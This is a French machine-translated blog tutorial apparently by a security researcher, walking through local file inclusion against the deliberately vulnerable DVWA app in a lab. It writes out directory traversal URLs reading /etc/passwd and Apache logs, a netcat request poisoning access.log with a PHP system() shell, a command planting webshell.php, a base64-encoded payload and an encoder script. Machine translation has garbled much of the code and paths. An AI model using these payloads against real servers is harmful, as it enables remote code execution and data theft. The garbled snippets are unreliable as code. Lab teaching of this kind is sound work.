Merde vulnérables Web App - Inclusion de fichiers locaux (LFI)
Auteur:
Ashfaq Ansari

Commenté par:
Classement:
5
Sur Mars 18, 2013
Dernière mise à jour:Mars 18, 2013

Résumé:

Inclusion de fichiers locaux (LFI) est le plus souvent un type de vulnérabilité trouvé sur les sites. Elle permet à un attaquant d'inclure un fichier local, généralement par le biais d'un script sur le serveur Web. La vulnérabilité est due à l'utilisation de l'entrée fournie par l'utilisateur sans validation correcte.

Présentation

 

Dans la première partie de Merde Web App vulnérables (DVWA) série, nous avons vu comment nous pouvons installer Merde application web vulnérable (DVWA) sur BackTrack 5 R1.
 

Si vous n'avez pas lu la première partie, voici le lien: http://hacksys.vfreaks.com / stylo-test / Damn-vulnérable-web-app-sql-injection.html

 

Maintenant, nous allons tester un autre vecteur d'attaque connu sous le nom Inclusion de fichiers locaux (LFI).
 

Inclusion de fichiers locaux (LFI) est le plus souvent un type de vulnérabilité trouvé sur les sites. Elle permet à un attaquant d'inclure un fichier local, généralement par le biais d'un script sur le serveur Web.
 

La vulnérabilité est due à l'utilisation de l'entrée fournie par l'utilisateur sans validation correcte. Cela peut conduire à quelque chose d'aussi minime que la sortie du contenu du fichier, mais en fonction de la gravité, d'énumérer quelques-uns, il peut conduire à des:
 


1. l'exécution du code sur le serveur Web.
2. L'exécution de code sur le côté client comme JavaScript qui peut conduire à d'autres attaques comme Cross Site Scripting (XSS).
3. Déni de Service (DoS).
4. Vol de données et de manipulation de données.

 

Maintenant, L'idée derrière Inclusion de fichiers locaux (LFI) vecteur d'attaque est que, elle permet à un attaquant d'inclure des fichiers locaux sur le serveur Web en utilisant le script de web vulnérable si le serveur web a la permission d'y accéder.
 

Vous devez tous penser “Qu'est-ce vraiment une bonne affaire en elle?”.
 

Eh bien, Je dois dire que c'est un problème très grave Si le serveur Web n'est pas configuré correctement.
 

Prenons, considère que l'attaquant est capable d'inclure un fichier local sur le serveur web via un script PHP vulnérable. Cela signifie qu'il sera capable d'exécuter n'importe quel code PHP qui est là dans le dossier qui est inclus.
 

Maintenant, certains d'entre vous doit penser “Quelle est l'utilité de l'exécution de script PHP en incluant un fichier local quand il n'aide pas à un pirate d'accéder?”.
 

Le serveur HTTP Apache offre une variété de mécanismes pour la connexion tout ce qui se passe sur le serveur Web, à partir de la demande initiale, à travers le processus de mappage d'URL, à la résolution finale de la connexion, y compris toutes les erreurs qui ont pu se produire dans le processus.
 

Voici un extrait de l'avertissement de sécurité se trouve sur La page de documentation d'Apache HTTP Server.
 

Lien: http://httpd.apache.org/docs/2.4/logs.html
 

Avertissement de sécurité: N'importe qui peut écrire dans le répertoire où Apache httpd est en train d'écrire un fichier de log peut presque certainement accéder à l'uid que le serveur est démarré en tant, qui est normalement racine. Ne donnez pas aux gens un accès en écriture au répertoire des journaux sont stockés sans être conscient des conséquences. voir le document des conseils de sécurité pour plus de détails. En plus, fichiers journaux peuvent contenir des informations fournies directement par le client, sans échapper. Donc, il est possible pour les clients malveillants pour insérer contrôle-caractères dans les fichiers journaux, si les soins doivent être pris dans le traitement des grumes brutes.

 

Pour votre information, à BackTrack 5 R1, le Le journal d'Apache HTTP Server fichier se trouve à:
 

/var / log / apache2 / access.log

/var/log/apache2/error.log


 

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) Chemin du fichier journal
 

Vous avez déjà lu l'avertissement de sécurité ci-dessus sur le journal permissions du répertoire. Si l'attaquant réussit à trouver le chemin du fichier journal à l'aide Directory Traversal attaque, il peut empoisonner ces journal en écrivant du code malveillant dans les fichiers journaux, si l' “Connectez-vous” répertoire et de fichier permissions ne sont pas configurés correctement.
 

Nous allons voir comment nous pouvons poison le les fichiers journaux dans la dernière partie de ce post.
 

Grâce aux informations de base sur Inclusion de fichiers locaux (LFI), Poursuivons et l'expérience dans la session pratique.
 

Remarque: En BackTrack 5 R1, le “access.log” Permission d'accès de fichier pour “Autres” est réglé à “Interdite”.

 

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) Connexion autorisation de fichier
 

Maintenant, nous allons donner “Peut Lire” L'autorisation d'accès à “Autres”.
 

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) Lire identifiez-autorisation de fichier
 

Nous sommes en train de “Peut Lire” permission de sorte que nous sommes en mesure de démontrer Inclusion de fichiers locaux (LFI) vecteur d'attaque à l'aide Merde application web vulnérable (DVWA).
 

Get Set And Go.

 

Disons connexion à Merde application web vulnérable (DVWA) et régler l' Sécurité niveau d' faible.
 

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) Sécurité à basse
 

Cliquez sur Inclusion de fichiers.
 

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) Onglet File Inclusion
 

http://192.168.96.128/dvwa / Vulnérabilités / AT /?page = include.php

 

Pour inclure un fichier modifier le ?page = index.php dans l'URL pour déterminer le fichier est inclus.
 

Nous allons confirmer si l'URL ci-dessus est vraiment vulnérable aux Inclusion de fichiers locaux.
 

Nous ferons Directory Traversal et essayer de comprendre /etc/passwd fichier. Si cette inclusion est réussie, nous allons trouver le contenu de la /etc/passwd affiché sur la page web.
 

http://192.168.96.128/dvwa / Vulnérabilités / AT /?page = .. / .. / .. / .. / .. / etc / passwd

 

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) /etc/passwd Inclusion
 

Cela semble bon! Nous avons pu inclure /etc/passwd déposer dans le Merde application web vulnérable (DVWA) succès que la page Web a affiché le contenu complet de la /etc/passwd fichier.
 

Notre prochaine tâche est d'essayer de comprendre Le fichier journal d'Apache. Encore une fois, nous allons utiliser Directory Traversal et essayer de comprendre /var / log / apache2 / access.log fichier.
 

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) Access Log Inclusion
 

http://192.168.96.128/dvwa / Vulnérabilités / AT /?page = .. / .. / .. / .. / log / apache2 / access.log

 

Sensationnel! Ceci est une bonne journée pour nous. Les choses fonctionnent dans le bon sens. Apache Web Server de access.log fichier est inclus avec succès. Il est une bonne indication que maintenant, nous pouvons diriger vers et essayer d' Poison le Le journal des erreurs d'Apache.
 

Remarque: Comme je l'ai utilisé cette BackTrack 5 R1 depuis un an. Je vais effacer le access.log et error.log de sorte que je suis en mesure de vous montrer la partie empoisonnée des fichiers journaux facilement.    

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) Effacer les journaux

Nous sommes prêts à poison le access.log fichier. Il s'agit d'une étape importante, car cela permettra à l'attaquant d'inclure l' access.log déposer et exécuter le empoisonné code PHP qui sera écrit access.log fichier dans cette étape. L'empoisonnement peut être confirmée par la vérification du contenu d' error.log fichier.
 

Ouvrez un Terminal et se connecter au Apache Web Server sur le port 80 aide netcat.
 

1
2
3
root @ bt:~ # nc 192.168.96.128 80

GET /hazStart<?système php(base64_decode($_GET[une]));?>HTTP hazEnd/1.1

 

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) Logs de poison
 

Maintenant, permet de confirmer si l'intoxication a été un succès. Pour cette, nous allons ouvrir deux access.log et error.log déposer et essayer de comprendre ses entrées.
 

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) Logs de poison
 

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) Logs de poison
 

Cool! Nous avons l' fichiers journaux empoisonnés. Chaque chose a fonctionné comme prévu.
 

Remarque: Nous avons déjà écrit un shell PHP mini dans access.log log. Maintenant, notre prochain motivation est d'écrire un autre shell PHP mini dans la racine du serveur Web qui héberge l'application Web Merde vulnérables (DVWA).

 

Voici la commande qui va écrire un shell PHP Mini sur le serveur Web.
 

1
echo "<?système php(base64_decode($_GET[«P»])); ?>" > ../../webshell.php

 

Si vous vous souvenez de la mini-shell PHP scénario que nous injectons dans le access.log fichier, le code de script shell est donnée ci-dessous:
 

1
<?php système(base64_decode($_GET[«A»,])); ?>

 

Pouvez-vous deviner la prochaine étape que nous devons faire après avoir regardé le code de script shell?
 

Eh bien, maintenant, nous allons coder la commande pour écrire le mini script shell PHP à la racine du serveur web en utilisant base64 algorithme de codage.
 

Voici un programme Python simple base64 coder une chaîne:
 

1
2
3
4
5
#!/usr / bin / python

base64encodedstr = """echo "<?système php(base64_decode($_GET[«P»])); ?>" > ../../webshell.php"""

imprimer "\nChaîne encodée: " + base64encodedstr.encoder('Base64',«Stricte») + "\n"

 

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) Base64 Encode
 

Le base64 chaîne encodée est donnée ci-dessous:
 

1
ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA/PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA=

 

Ce sera la dernière étape avant nous sommes accueillis avec une coquille. 🙂
 

Nous allons naviguer vers le URL donnée ci-dessous pour écrire le mini-PHP script shell à Web racine du serveur.

http://192.168.96.128/dvwa / Vulnérabilités / AT /?page = .. / .. / .. / .. / log / apache2 / access.log?a = ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA / PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA =

 

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) PHP Web Shell
 

Finalement!! Nous l'avons fait avec succès. Nous avons envoyé une mini-shell PHP l'aide d'un Local File Inclusion Vulnerability à Merde application web vulnérable (DVWA).
 

J'adore automatisation et c'est la raison pour laquelle j'aime python. Python vous donne une excellente puissance d'accomplir des choses complexes très simplement.
 

J'ai écrit un script python que nous avons écrit pour automatiser l'exploitation des Inclusion de fichiers locaux (LFI) à Merde application web vulnérable (DVWA).
 

Merde application web vulnérable - Inclusion de fichiers locaux (LFI) Exploit Script
 

Comme la longueur du script d'exploitation est très large, J'ai zippé tous les scripts utilisés dans ce poste et est disponible en téléchargement.
 

Télécharger Merde application web vulnérable – Inclusion de fichiers locaux (LFI) afficher des documents:
 

DVWA - LFI Scripts Exploit
3.9 KIB
644 Téléchargements
Détails...

 

Merci d'avoir pris le temps de lire ce post. J'espère que cela vous aide. N'hésitez pas à laisser des commentaires arrière S'il vous plaît si vous avez des doutes ou si vous voulez discuter de quoi que ce soit en ce qui concerne Inclusion de fichiers locaux (LFI).
 

46,410 vues au total, 21 vues aujourd'hui

Les deux onglets suivants changent contenu ci-dessous.

Ashfaq Ansari

chercheur en sécurité
Ashfaq Ansari est le fondateur de HackSys équipe nom de code "Panthera". Il est un chercheur en sécurité avec une expérience dans divers aspects de la sécurité de l'information. Il est l'auteur "HackSys Extreme pilote Vulnérable" et "Shellcode de la mort". Il a également écrit et publié plusieurs livres blancs sur l'exploitation du logiciel de bas niveau. Son intérêt de base réside dans "Low Level exploitation", "Reverse Engineering", "Analyse du programme" et "Hybrid fuzzing". Il est un fanboy de l'intelligence artificielle et l'apprentissage automatique. Il est le chef de file pour le chapitre null Pune.

2 Les réponses à “Merde vulnérables Web App - Inclusion de fichiers locaux (LFI)”

  1. Serait-il possible de montrer l'attaque sans l'autorisation de lecture sur le access.log. En d'autres mots laissant l'ensemble de la permission d'interdit? Comme la plupart des serveurs peuvent avoir cet ensemble en premier lieu. serait grandement appréciée.

    • Salut KC,

      Malheureusement, le fichier journal doit avoir autorisation de lecture sur access.log.

      À moins que, nous sommes en mesure de lire le fichier, nous ne serons pas en mesure d'effectuer l'attaque.

      Cependant, vous pouvez essayer différents vecteurs d'attaque.

      Merci.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont marqués *